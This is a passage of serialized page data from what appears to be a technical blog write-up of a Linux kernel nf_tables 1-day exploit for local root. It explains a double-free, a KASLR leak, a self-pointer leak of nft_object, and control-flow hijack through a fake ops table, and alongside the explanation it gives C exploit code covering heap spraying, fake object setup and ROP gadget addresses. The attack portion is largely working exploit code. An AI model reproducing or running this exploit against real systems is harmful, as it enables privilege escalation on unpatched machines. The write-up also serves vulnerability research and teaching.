",{"type":24,"tag":158,"props":56261,"children":56262},{"style":222},[56263],{"type":29,"value":2212},{"type":24,"tag":158,"props":56265,"children":56266},{"style":188},[56267],{"type":29,"value":55976},{"type":24,"tag":158,"props":56269,"children":56270},{"class":160,"line":24897},[56271,56276,56280,56284,56288,56292],{"type":24,"tag":158,"props":56272,"children":56273},{"style":496},[56274],{"type":29,"value":56275}," nftnl_set_elem_add",{"type":24,"tag":158,"props":56277,"children":56278},{"style":188},[56279],{"type":29,"value":56018},{"type":24,"tag":158,"props":56281,"children":56282},{"style":177},[56283],{"type":29,"value":53336},{"type":24,"tag":158,"props":56285,"children":56286},{"style":188},[56287],{"type":29,"value":2048},{"type":24,"tag":158,"props":56289,"children":56290},{"style":465},[56291],{"type":29,"value":18534},{"type":24,"tag":158,"props":56293,"children":56294},{"style":188},[56295],{"type":29,"value":5409},{"type":24,"tag":158,"props":56297,"children":56298},{"class":160,"line":24905},[56299],{"type":24,"tag":158,"props":56300,"children":56301},{"style":188},[56302],{"type":29,"value":1136},{"type":24,"tag":158,"props":56304,"children":56305},{"class":160,"line":24914},[56306],{"type":24,"tag":158,"props":56307,"children":56308},{"emptyLinePlaceholder":16},[56309],{"type":29,"value":481},{"type":24,"tag":158,"props":56311,"children":56312},{"class":160,"line":24990},[56313],{"type":24,"tag":158,"props":56314,"children":56315},{"style":188},[56316],{"type":29,"value":56317}," // double-free commited elems\n",{"type":24,"tag":158,"props":56319,"children":56320},{"class":160,"line":25023},[56321],{"type":24,"tag":158,"props":56322,"children":56323},{"style":188},[56324],{"type":29,"value":1136},{"type":24,"tag":158,"props":56326,"children":56327},{"class":160,"line":25031},[56328,56333,56337],{"type":24,"tag":158,"props":56329,"children":56330},{"style":188},[56331],{"type":29,"value":56332}," nftnl_set_free(",{"type":24,"tag":158,"props":56334,"children":56335},{"style":171},[56336],{"type":29,"value":52291},{"type":24,"tag":158,"props":56338,"children":56339},{"style":188},[56340],{"type":29,"value":1071},{"type":24,"tag":158,"props":56342,"children":56343},{"class":160,"line":25039},[56344],{"type":24,"tag":158,"props":56345,"children":56346},{"style":188},[56347],{"type":29,"value":307},{"type":24,"tag":158,"props":56349,"children":56350},{"class":160,"line":25076},[56351],{"type":24,"tag":158,"props":56352,"children":56353},{"style":188},[56354],{"type":29,"value":1136},{"type":24,"tag":395,"props":56356,"children":56358},{"id":56357},"leaking-kaslr",[56359],{"type":29,"value":56360},"Leaking KASLR",{"type":24,"tag":25,"props":56362,"children":56363},{},[56364,56366,56372,56374,56379,56381,56387,56389,56395,56397],{"type":29,"value":56365},"Tables contain an outline user data buffer ",{"type":24,"tag":154,"props":56367,"children":56369},{"className":56368},[],[56370],{"type":29,"value":56371},"udata",{"type":29,"value":56373}," that we can both read and write. By allocating a ",{"type":24,"tag":154,"props":56375,"children":56377},{"className":56376},[],[56378],{"type":29,"value":56371},{"type":29,"value":56380}," buffer on the double-free slot and then overlapping it with an ",{"type":24,"tag":154,"props":56382,"children":56384},{"className":56383},[],[56385],{"type":29,"value":56386},"nft_object",{"type":29,"value":56388}," we can leak the ",{"type":24,"tag":154,"props":56390,"children":56392},{"className":56391},[],[56393],{"type":29,"value":56394},"->ops",{"type":29,"value":56396}," pointer, and use it to calculate the KASLR slide.\n",{"type":24,"tag":84,"props":56398,"children":56400},{"alt":51850,"src":56399},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":24,"tag":147,"props":56402,"children":56404},{"className":30369,"code":56403,"language":30371,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[56405],{"type":24,"tag":154,"props":56406,"children":56407},{"__ignoreMap":7},[56408,56415,56423,56458,56465,56473,56498,56525,56576,56583,56616,56642,56649,56714,56721,56742,56749,56756,56764,56772,56793,56822,56834,56878,56934],{"type":24,"tag":158,"props":56409,"children":56410},{"class":160,"line":161},[56411],{"type":24,"tag":158,"props":56412,"children":56413},{"style":188},[56414],{"type":29,"value":1136},{"type":24,"tag":158,"props":56416,"children":56417},{"class":160,"line":213},[56418],{"type":24,"tag":158,"props":56419,"children":56420},{"style":188},[56421],{"type":29,"value":56422}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":24,"tag":158,"props":56424,"children":56425},{"class":160,"line":238},[56426,56431,56435,56440,56445,56450,56454],{"type":24,"tag":158,"props":56427,"children":56428},{"style":188},[56429],{"type":29,"value":56430}," udata_spray(",{"type":24,"tag":158,"props":56432,"children":56433},{"style":171},[56434],{"type":29,"value":55562},{"type":24,"tag":158,"props":56436,"children":56437},{"style":188},[56438],{"type":29,"value":56439},", 0",{"type":24,"tag":158,"props":56441,"children":56442},{"style":171},[56443],{"type":29,"value":56444},"xe8",{"type":24,"tag":158,"props":56446,"children":56447},{"style":188},[56448],{"type":29,"value":56449},", 0, 3, ",{"type":24,"tag":158,"props":56451,"children":56452},{"style":171},[56453],{"type":29,"value":55768},{"type":24,"tag":158,"props":56455,"children":56456},{"style":188},[56457],{"type":29,"value":1071},{"type":24,"tag":158,"props":56459,"children":56460},{"class":160,"line":259},[56461],{"type":24,"tag":158,"props":56462,"children":56463},{"emptyLinePlaceholder":16},[56464],{"type":29,"value":481},{"type":24,"tag":158,"props":56466,"children":56467},{"class":160,"line":280},[56468],{"type":24,"tag":158,"props":56469,"children":56470},{"style":2588},[56471],{"type":29,"value":56472}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":24,"tag":158,"props":56474,"children":56475},{"class":160,"line":301},[56476,56481,56486,56490,56494],{"type":24,"tag":158,"props":56477,"children":56478},{"style":165},[56479],{"type":29,"value":56480}," char",{"type":24,"tag":158,"props":56482,"children":56483},{"style":177},[56484],{"type":29,"value":56485}," spray_name",{"type":24,"tag":158,"props":56487,"children":56488},{"style":188},[56489],{"type":29,"value":2048},{"type":24,"tag":158,"props":56491,"children":56492},{"style":465},[56493],{"type":29,"value":42112},{"type":24,"tag":158,"props":56495,"children":56496},{"style":188},[56497],{"type":29,"value":32835},{"type":24,"tag":158,"props":56499,"children":56500},{"class":160,"line":626},[56501,56505,56509,56513,56517,56521],{"type":24,"tag":158,"props":56502,"children":56503},{"style":165},[56504],{"type":29,"value":56480},{"type":24,"tag":158,"props":56506,"children":56507},{"style":222},[56508],{"type":29,"value":615},{"type":24,"tag":158,"props":56510,"children":56511},{"style":177},[56512],{"type":29,"value":56371},{"type":24,"tag":158,"props":56514,"children":56515},{"style":188},[56516],{"type":29,"value":2048},{"type":24,"tag":158,"props":56518,"children":56519},{"style":465},[56520],{"type":29,"value":18534},{"type":24,"tag":158,"props":56522,"children":56523},{"style":188},[56524],{"type":29,"value":32835},{"type":24,"tag":158,"props":56526,"children":56527},{"class":160,"line":668},[56528,56532,56536,56540,56544,56548,56552,56556,56560,56564,56568,56572],{"type":24,"tag":158,"props":56529,"children":56530},{"style":1914},[56531],{"type":29,"value":4702},{"type":24,"tag":158,"props":56533,"children":56534},{"style":188},[56535],{"type":29,"value":2262},{"type":24,"tag":158,"props":56537,"children":56538},{"style":165},[56539],{"type":29,"value":20289},{"type":24,"tag":158,"props":56541,"children":56542},{"style":188},[56543],{"type":29,"value":55816},{"type":24,"tag":158,"props":56545,"children":56546},{"style":222},[56547],{"type":29,"value":1285},{"type":24,"tag":158,"props":56549,"children":56550},{"style":465},[56551],{"type":29,"value":2025},{"type":24,"tag":158,"props":56553,"children":56554},{"style":188},[56555],{"type":29,"value":52505},{"type":24,"tag":158,"props":56557,"children":56558},{"style":222},[56559],{"type":29,"value":3760},{"type":24,"tag":158,"props":56561,"children":56562},{"style":465},[56563],{"type":29,"value":20341},{"type":24,"tag":158,"props":56565,"children":56566},{"style":188},[56567],{"type":29,"value":52536},{"type":24,"tag":158,"props":56569,"children":56570},{"style":222},[56571],{"type":29,"value":52541},{"type":24,"tag":158,"props":56573,"children":56574},{"style":188},[56575],{"type":29,"value":2125},{"type":24,"tag":158,"props":56577,"children":56578},{"class":160,"line":676},[56579],{"type":24,"tag":158,"props":56580,"children":56581},{"style":188},[56582],{"type":29,"value":30446},{"type":24,"tag":158,"props":56584,"children":56585},{"class":160,"line":684},[56586,56591,56596,56601,56606,56611],{"type":24,"tag":158,"props":56587,"children":56588},{"style":496},[56589],{"type":29,"value":56590}," snprintf",{"type":24,"tag":158,"props":56592,"children":56593},{"style":188},[56594],{"type":29,"value":56595},"(spray_name, ",{"type":24,"tag":158,"props":56597,"children":56598},{"style":165},[56599],{"type":29,"value":56600},"sizeof",{"type":24,"tag":158,"props":56602,"children":56603},{"style":188},[56604],{"type":29,"value":56605},"(spray_name), ",{"type":24,"tag":158,"props":56607,"children":56608},{"style":1108},[56609],{"type":29,"value":56610},"\"spray-%i\"",{"type":24,"tag":158,"props":56612,"children":56613},{"style":188},[56614],{"type":29,"value":56615},", i);\n",{"type":24,"tag":158,"props":56617,"children":56618},{"class":160,"line":700},[56619,56624,56628,56632,56637],{"type":24,"tag":158,"props":56620,"children":56621},{"style":177},[56622],{"type":29,"value":56623}," udata",{"type":24,"tag":158,"props":56625,"children":56626},{"style":188},[56627],{"type":29,"value":55868},{"type":24,"tag":158,"props":56629,"children":56630},{"style":222},[56631],{"type":29,"value":1285},{"type":24,"tag":158,"props":56633,"children":56634},{"style":496},[56635],{"type":29,"value":56636}," getudata",{"type":24,"tag":158,"props":56638,"children":56639},{"style":188},[56640],{"type":29,"value":56641},"(nl, spray_name);\n",{"type":24,"tag":158,"props":56643,"children":56644},{"class":160,"line":785},[56645],{"type":24,"tag":158,"props":56646,"children":56647},{"style":188},[56648],{"type":29,"value":3967},{"type":24,"tag":158,"props":56650,"children":56651},{"class":160,"line":1447},[56652,56656,56660,56664,56668,56672,56676,56680,56684,56688,56693,56697,56701,56705,56709],{"type":24,"tag":158,"props":56653,"children":56654},{"style":1914},[56655],{"type":29,"value":3160},{"type":24,"tag":158,"props":56657,"children":56658},{"style":188},[56659],{"type":29,"value":2262},{"type":24,"tag":158,"props":56661,"children":56662},{"style":177},[56663],{"type":29,"value":56371},{"type":24,"tag":158,"props":56665,"children":56666},{"style":188},[56667],{"type":29,"value":2048},{"type":24,"tag":158,"props":56669,"children":56670},{"style":465},[56671],{"type":29,"value":5682},{"type":24,"tag":158,"props":56673,"children":56674},{"style":188},[56675],{"type":29,"value":50229},{"type":24,"tag":158,"props":56677,"children":56678},{"style":465},[56679],{"type":29,"value":5682},{"type":24,"tag":158,"props":56681,"children":56682},{"style":188},[56683],{"type":29,"value":2058},{"type":24,"tag":158,"props":56685,"children":56686},{"style":222},[56687],{"type":29,"value":1034},{"type":24,"tag":158,"props":56689,"children":56690},{"style":177},[56691],{"type":29,"value":56692}," udata",{"type":24,"tag":158,"props":56694,"children":56695},{"style":188},[56696],{"type":29,"value":2048},{"type":24,"tag":158,"props":56698,"children":56699},{"style":465},[56700],{"type":29,"value":4789},{"type":24,"tag":158,"props":56702,"children":56703},{"style":188},[56704],{"type":29,"value":50229},{"type":24,"tag":158,"props":56706,"children":56707},{"style":465},[56708],{"type":29,"value":5682},{"type":24,"tag":158,"props":56710,"children":56711},{"style":188},[56712],{"type":29,"value":56713},"])\n",{"type":24,"tag":158,"props":56715,"children":56716},{"class":160,"line":1509},[56717],{"type":24,"tag":158,"props":56718,"children":56719},{"style":188},[56720],{"type":29,"value":30446},{"type":24,"tag":158,"props":56722,"children":56723},{"class":160,"line":1527},[56724,56729,56733,56738],{"type":24,"tag":158,"props":56725,"children":56726},{"style":496},[56727],{"type":29,"value":56728}," puts",{"type":24,"tag":158,"props":56730,"children":56731},{"style":188},[56732],{"type":29,"value":504},{"type":24,"tag":158,"props":56734,"children":56735},{"style":1108},[56736],{"type":29,"value":56737},"\"[+] got duplicated table\"",{"type":24,"tag":158,"props":56739,"children":56740},{"style":188},[56741],{"type":29,"value":1071},{"type":24,"tag":158,"props":56743,"children":56744},{"class":160,"line":1545},[56745],{"type":24,"tag":158,"props":56746,"children":56747},{"style":188},[56748],{"type":29,"value":3967},{"type":24,"tag":158,"props":56750,"children":56751},{"class":160,"line":1618},[56752],{"type":24,"tag":158,"props":56753,"children":56754},{"emptyLinePlaceholder":16},[56755],{"type":29,"value":481},{"type":24,"tag":158,"props":56757,"children":56758},{"class":160,"line":1635},[56759],{"type":24,"tag":158,"props":56760,"children":56761},{"style":2588},[56762],{"type":29,"value":56763}," // Replace one of the udata buffers with nft_object\n",{"type":24,"tag":158,"props":56765,"children":56766},{"class":160,"line":1644},[56767],{"type":24,"tag":158,"props":56768,"children":56769},{"style":2588},[56770],{"type":29,"value":56771}," // and read it's counterpart to leak the nft_object struct\n",{"type":24,"tag":158,"props":56773,"children":56774},{"class":160,"line":1652},[56775,56780,56784,56789],{"type":24,"tag":158,"props":56776,"children":56777},{"style":496},[56778],{"type":29,"value":56779}," puts",{"type":24,"tag":158,"props":56781,"children":56782},{"style":188},[56783],{"type":29,"value":504},{"type":24,"tag":158,"props":56785,"children":56786},{"style":1108},[56787],{"type":29,"value":56788},"\"[*] Info leak\"",{"type":24,"tag":158,"props":56790,"children":56791},{"style":188},[56792],{"type":29,"value":1071},{"type":24,"tag":158,"props":56794,"children":56795},{"class":160,"line":1704},[56796,56801,56806,56810,56814,56818],{"type":24,"tag":158,"props":56797,"children":56798},{"style":496},[56799],{"type":29,"value":56800}," deludata_spray",{"type":24,"tag":158,"props":56802,"children":56803},{"style":188},[56804],{"type":29,"value":56805},"(nl, ",{"type":24,"tag":158,"props":56807,"children":56808},{"style":465},[56809],{"type":29,"value":5682},{"type":24,"tag":158,"props":56811,"children":56812},{"style":188},[56813],{"type":29,"value":191},{"type":24,"tag":158,"props":56815,"children":56816},{"style":465},[56817],{"type":29,"value":5672},{"type":24,"tag":158,"props":56819,"children":56820},{"style":188},[56821],{"type":29,"value":1071},{"type":24,"tag":158,"props":56823,"children":56824},{"class":160,"line":1713},[56825,56830],{"type":24,"tag":158,"props":56826,"children":56827},{"style":496},[56828],{"type":29,"value":56829}," wait_destroyer",{"type":24,"tag":158,"props":56831,"children":56832},{"style":188},[56833],{"type":29,"value":5329},{"type":24,"tag":158,"props":56835,"children":56836},{"class":160,"line":1731},[56837,56842,56846,56850,56854,56858,56862,56866,56870,56874],{"type":24,"tag":158,"props":56838,"children":56839},{"style":496},[56840],{"type":29,"value":56841}," obj_spray",{"type":24,"tag":158,"props":56843,"children":56844},{"style":188},[56845],{"type":29,"value":56805},{"type":24,"tag":158,"props":56847,"children":56848},{"style":465},[56849],{"type":29,"value":5682},{"type":24,"tag":158,"props":56851,"children":56852},{"style":188},[56853],{"type":29,"value":191},{"type":24,"tag":158,"props":56855,"children":56856},{"style":465},[56857],{"type":29,"value":5672},{"type":24,"tag":158,"props":56859,"children":56860},{"style":188},[56861],{"type":29,"value":191},{"type":24,"tag":158,"props":56863,"children":56864},{"style":165},[56865],{"type":29,"value":55768},{"type":24,"tag":158,"props":56867,"children":56868},{"style":188},[56869],{"type":29,"value":191},{"type":24,"tag":158,"props":56871,"children":56872},{"style":465},[56873],{"type":29,"value":5682},{"type":24,"tag":158,"props":56875,"children":56876},{"style":188},[56877],{"type":29,"value":1071},{"type":24,"tag":158,"props":56879,"children":56880},{"class":160,"line":5485},[56881,56886,56890,56895,56899,56903,56908,56912,56916,56921,56925,56930],{"type":24,"tag":158,"props":56882,"children":56883},{"style":165},[56884],{"type":29,"value":56885}," uint64_t",{"type":24,"tag":158,"props":56887,"children":56888},{"style":222},[56889],{"type":29,"value":615},{"type":24,"tag":158,"props":56891,"children":56892},{"style":188},[56893],{"type":29,"value":56894},"fake_obj ",{"type":24,"tag":158,"props":56896,"children":56897},{"style":222},[56898],{"type":29,"value":1285},{"type":24,"tag":158,"props":56900,"children":56901},{"style":188},[56902],{"type":29,"value":2262},{"type":24,"tag":158,"props":56904,"children":56905},{"style":165},[56906],{"type":29,"value":56907},"uint64_t",{"type":24,"tag":158,"props":56909,"children":56910},{"style":222},[56911],{"type":29,"value":615},{"type":24,"tag":158,"props":56913,"children":56914},{"style":188},[56915],{"type":29,"value":521},{"type":24,"tag":158,"props":56917,"children":56918},{"style":496},[56919],{"type":29,"value":56920},"getudata",{"type":24,"tag":158,"props":56922,"children":56923},{"style":188},[56924],{"type":29,"value":56805},{"type":24,"tag":158,"props":56926,"children":56927},{"style":1108},[56928],{"type":29,"value":56929},"\"spray-2\"",{"type":24,"tag":158,"props":56931,"children":56932},{"style":188},[56933],{"type":29,"value":1071},{"type":24,"tag":158,"props":56935,"children":56936},{"class":160,"line":5493},[56937],{"type":24,"tag":158,"props":56938,"children":56939},{"style":188},[56940],{"type":29,"value":1136},{"type":24,"tag":395,"props":56942,"children":56944},{"id":56943},"leaking-self-pointer-of-nft_object",[56945,56947],{"type":29,"value":56946},"Leaking self pointer of ",{"type":24,"tag":154,"props":56948,"children":56950},{"className":56949},[],[56951],{"type":29,"value":56386},{"type":24,"tag":25,"props":56953,"children":56954},{},[56955,56957,56962,56964,56969,56971,56976,56978,56984],{"type":29,"value":56956},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":24,"tag":154,"props":56958,"children":56960},{"className":56959},[],[56961],{"type":29,"value":56386},{"type":29,"value":56963}," to get its own address. This is possible because the ",{"type":24,"tag":154,"props":56965,"children":56967},{"className":56966},[],[56968],{"type":29,"value":56386},{"type":29,"value":56970}," has a ",{"type":24,"tag":154,"props":56972,"children":56974},{"className":56973},[],[56975],{"type":29,"value":56371},{"type":29,"value":56977}," pointer (similar to ",{"type":24,"tag":154,"props":56979,"children":56981},{"className":56980},[],[56982],{"type":29,"value":56983},"table->udata",{"type":29,"value":56985}," that I used for leaking KASLR), that I can use to read/write data.",{"type":24,"tag":25,"props":56987,"children":56988},{},[56989,56990,56995,56997,57003,57005,57010,57012,57018,57020,57026,57028,57033,57035,57040,57042,57047,57049],{"type":29,"value":17850},{"type":24,"tag":154,"props":56991,"children":56993},{"className":56992},[],[56994],{"type":29,"value":56386},{"type":29,"value":56996}," struct also contains a ",{"type":24,"tag":154,"props":56998,"children":57000},{"className":56999},[],[57001],{"type":29,"value":57002},"list_head",{"type":29,"value":57004}," inserted in a circular list containing all ",{"type":24,"tag":154,"props":57006,"children":57008},{"className":57007},[],[57009],{"type":29,"value":56386},{"type":29,"value":57011},"'s that belong to a given ",{"type":24,"tag":154,"props":57013,"children":57015},{"className":57014},[],[57016],{"type":29,"value":57017},"table",{"type":29,"value":57019},". Considering that our object is currently alone in its table, the ",{"type":24,"tag":154,"props":57021,"children":57023},{"className":57022},[],[57024],{"type":29,"value":57025},"table->list.next",{"type":29,"value":57027}," pointer in the ",{"type":24,"tag":154,"props":57029,"children":57031},{"className":57030},[],[57032],{"type":29,"value":56386},{"type":29,"value":57034}," will point back to the ",{"type":24,"tag":154,"props":57036,"children":57038},{"className":57037},[],[57039],{"type":29,"value":57002},{"type":29,"value":57041}," contained in the ",{"type":24,"tag":154,"props":57043,"children":57045},{"className":57044},[],[57046],{"type":29,"value":57017},{"type":29,"value":57048}," and vice-versa.\n",{"type":24,"tag":84,"props":57050,"children":57052},{"alt":51850,"src":57051},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":24,"tag":25,"props":57054,"children":57055},{},[57056,57058,57063,57065,57070,57072,57078,57080,57085,57086,57091,57093,57098,57100,57105],{"type":29,"value":57057},"In short, that means that if we swap the ",{"type":24,"tag":154,"props":57059,"children":57061},{"className":57060},[],[57062],{"type":29,"value":56371},{"type":29,"value":57064}," pointer of the ",{"type":24,"tag":154,"props":57066,"children":57068},{"className":57067},[],[57069],{"type":29,"value":56386},{"type":29,"value":57071}," with its own ",{"type":24,"tag":154,"props":57073,"children":57075},{"className":57074},[],[57076],{"type":29,"value":57077},"list.next",{"type":29,"value":57079}," pointer we should be able to read a pointer back to the ",{"type":24,"tag":154,"props":57081,"children":57083},{"className":57082},[],[57084],{"type":29,"value":56386},{"type":29,"value":53611},{"type":24,"tag":154,"props":57087,"children":57089},{"className":57088},[],[57090],{"type":29,"value":57002},{"type":29,"value":57092}," which is also the start of the ",{"type":24,"tag":154,"props":57094,"children":57096},{"className":57095},[],[57097],{"type":29,"value":56386},{"type":29,"value":57099}," itself.\n",{"type":24,"tag":897,"props":57101,"children":57102},{},[57103],{"type":29,"value":57104},"NOTE:",{"type":29,"value":57106}," This is a novel small trick.",{"type":24,"tag":147,"props":57108,"children":57110},{"className":30369,"code":57109,"language":30371,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[57111],{"type":24,"tag":154,"props":57112,"children":57113},{"__ignoreMap":7},[57114,57121,57129,57142,57190,57217,57228,57266,57273,57302,57332],{"type":24,"tag":158,"props":57115,"children":57116},{"class":160,"line":161},[57117],{"type":24,"tag":158,"props":57118,"children":57119},{"style":188},[57120],{"type":29,"value":1136},{"type":24,"tag":158,"props":57122,"children":57123},{"class":160,"line":213},[57124],{"type":24,"tag":158,"props":57125,"children":57126},{"style":188},[57127],{"type":29,"value":57128}," // Leak nft_object ptr using table linked list\n",{"type":24,"tag":158,"props":57130,"children":57131},{"class":160,"line":238},[57132,57137],{"type":24,"tag":158,"props":57133,"children":57134},{"style":188},[57135],{"type":29,"value":57136}," fake_obj[8] = 8;",{"type":24,"tag":158,"props":57138,"children":57139},{"style":2588},[57140],{"type":29,"value":57141}," // ulen = 8\n",{"type":24,"tag":158,"props":57143,"children":57144},{"class":160,"line":259},[57145,57150,57154,57159,57163,57167,57172,57176,57180,57185],{"type":24,"tag":158,"props":57146,"children":57147},{"style":177},[57148],{"type":29,"value":57149}," fake_obj",{"type":24,"tag":158,"props":57151,"children":57152},{"style":188},[57153],{"type":29,"value":2048},{"type":24,"tag":158,"props":57155,"children":57156},{"style":465},[57157],{"type":29,"value":57158},"9",{"type":24,"tag":158,"props":57160,"children":57161},{"style":188},[57162],{"type":29,"value":2058},{"type":24,"tag":158,"props":57164,"children":57165},{"style":222},[57166],{"type":29,"value":1285},{"type":24,"tag":158,"props":57168,"children":57169},{"style":177},[57170],{"type":29,"value":57171}," fake_obj",{"type":24,"tag":158,"props":57173,"children":57174},{"style":188},[57175],{"type":29,"value":2048},{"type":24,"tag":158,"props":57177,"children":57178},{"style":465},[57179],{"type":29,"value":5682},{"type":24,"tag":158,"props":57181,"children":57182},{"style":188},[57183],{"type":29,"value":57184},"];",{"type":24,"tag":158,"props":57186,"children":57187},{"style":2588},[57188],{"type":29,"value":57189}," // udata = list->next\n",{"type":24,"tag":158,"props":57191,"children":57192},{"class":160,"line":280},[57193,57197,57201,57205,57209,57213],{"type":24,"tag":158,"props":57194,"children":57195},{"style":496},[57196],{"type":29,"value":56800},{"type":24,"tag":158,"props":57198,"children":57199},{"style":188},[57200],{"type":29,"value":56805},{"type":24,"tag":158,"props":57202,"children":57203},{"style":465},[57204],{"type":29,"value":4789},{"type":24,"tag":158,"props":57206,"children":57207},{"style":188},[57208],{"type":29,"value":191},{"type":24,"tag":158,"props":57210,"children":57211},{"style":465},[57212],{"type":29,"value":5672},{"type":24,"tag":158,"props":57214,"children":57215},{"style":188},[57216],{"type":29,"value":1071},{"type":24,"tag":158,"props":57218,"children":57219},{"class":160,"line":301},[57220,57224],{"type":24,"tag":158,"props":57221,"children":57222},{"style":496},[57223],{"type":29,"value":56829},{"type":24,"tag":158,"props":57225,"children":57226},{"style":188},[57227],{"type":29,"value":5329},{"type":24,"tag":158,"props":57229,"children":57230},{"class":160,"line":626},[57231,57236,57240,57245,57249,57253,57257,57261],{"type":24,"tag":158,"props":57232,"children":57233},{"style":496},[57234],{"type":29,"value":57235}," udata_spray",{"type":24,"tag":158,"props":57237,"children":57238},{"style":188},[57239],{"type":29,"value":56805},{"type":24,"tag":158,"props":57241,"children":57242},{"style":465},[57243],{"type":29,"value":57244},"0xe8",{"type":24,"tag":158,"props":57246,"children":57247},{"style":188},[57248],{"type":29,"value":191},{"type":24,"tag":158,"props":57250,"children":57251},{"style":465},[57252],{"type":29,"value":18534},{"type":24,"tag":158,"props":57254,"children":57255},{"style":188},[57256],{"type":29,"value":191},{"type":24,"tag":158,"props":57258,"children":57259},{"style":465},[57260],{"type":29,"value":5672},{"type":24,"tag":158,"props":57262,"children":57263},{"style":188},[57264],{"type":29,"value":57265},", fake_obj);\n",{"type":24,"tag":158,"props":57267,"children":57268},{"class":160,"line":668},[57269],{"type":24,"tag":158,"props":57270,"children":57271},{"emptyLinePlaceholder":16},[57272],{"type":29,"value":481},{"type":24,"tag":158,"props":57274,"children":57275},{"class":160,"line":676},[57276,57281,57285,57290,57294,57298],{"type":24,"tag":158,"props":57277,"children":57278},{"style":496},[57279],{"type":29,"value":57280}," get_obj",{"type":24,"tag":158,"props":57282,"children":57283},{"style":188},[57284],{"type":29,"value":56805},{"type":24,"tag":158,"props":57286,"children":57287},{"style":1108},[57288],{"type":29,"value":57289},"\"spray-0\"",{"type":24,"tag":158,"props":57291,"children":57292},{"style":188},[57293],{"type":29,"value":191},{"type":24,"tag":158,"props":57295,"children":57296},{"style":165},[57297],{"type":29,"value":3185},{"type":24,"tag":158,"props":57299,"children":57300},{"style":188},[57301],{"type":29,"value":1071},{"type":24,"tag":158,"props":57303,"children":57304},{"class":160,"line":684},[57305,57310,57314,57319,57323,57327],{"type":24,"tag":158,"props":57306,"children":57307},{"style":496},[57308],{"type":29,"value":57309}," printf",{"type":24,"tag":158,"props":57311,"children":57312},{"style":188},[57313],{"type":29,"value":504},{"type":24,"tag":158,"props":57315,"children":57316},{"style":1108},[57317],{"type":29,"value":57318},"\"[*] nft_object ptr: 0x%lx",{"type":24,"tag":158,"props":57320,"children":57321},{"style":49644},[57322],{"type":29,"value":49647},{"type":24,"tag":158,"props":57324,"children":57325},{"style":1108},[57326],{"type":29,"value":21303},{"type":24,"tag":158,"props":57328,"children":57329},{"style":188},[57330],{"type":29,"value":57331},", obj_ptr);\n",{"type":24,"tag":158,"props":57333,"children":57334},{"class":160,"line":700},[57335],{"type":24,"tag":158,"props":57336,"children":57337},{"style":188},[57338],{"type":29,"value":1136},{"type":24,"tag":395,"props":57340,"children":57342},{"id":57341},"hijacking-control-flow",[57343],{"type":29,"value":57344},"Hijacking control-flow",{"type":24,"tag":25,"props":57346,"children":57347},{},[57348,57350,57355,57357,57362,57364,57369,57371,57376,57378,57383,57385],{"type":29,"value":57349},"To hijack control-flow, we can use ",{"type":24,"tag":154,"props":57351,"children":57353},{"className":57352},[],[57354],{"type":29,"value":56386},{"type":29,"value":57356}," once again. The ",{"type":24,"tag":154,"props":57358,"children":57360},{"className":57359},[],[57361],{"type":29,"value":56386},{"type":29,"value":57363}," struct has an ",{"type":24,"tag":154,"props":57365,"children":57367},{"className":57366},[],[57368],{"type":29,"value":53942},{"type":29,"value":57370}," pointer to a function pointer table. We can swap the ",{"type":24,"tag":154,"props":57372,"children":57374},{"className":57373},[],[57375],{"type":29,"value":53942},{"type":29,"value":57377}," pointer with the ",{"type":24,"tag":154,"props":57379,"children":57381},{"className":57380},[],[57382],{"type":29,"value":56371},{"type":29,"value":57384}," pointer, taking control of the pointer table.\n",{"type":24,"tag":84,"props":57386,"children":57388},{"alt":51850,"src":57387},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":24,"tag":147,"props":57390,"children":57392},{"className":30369,"code":57391,"language":30371,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, 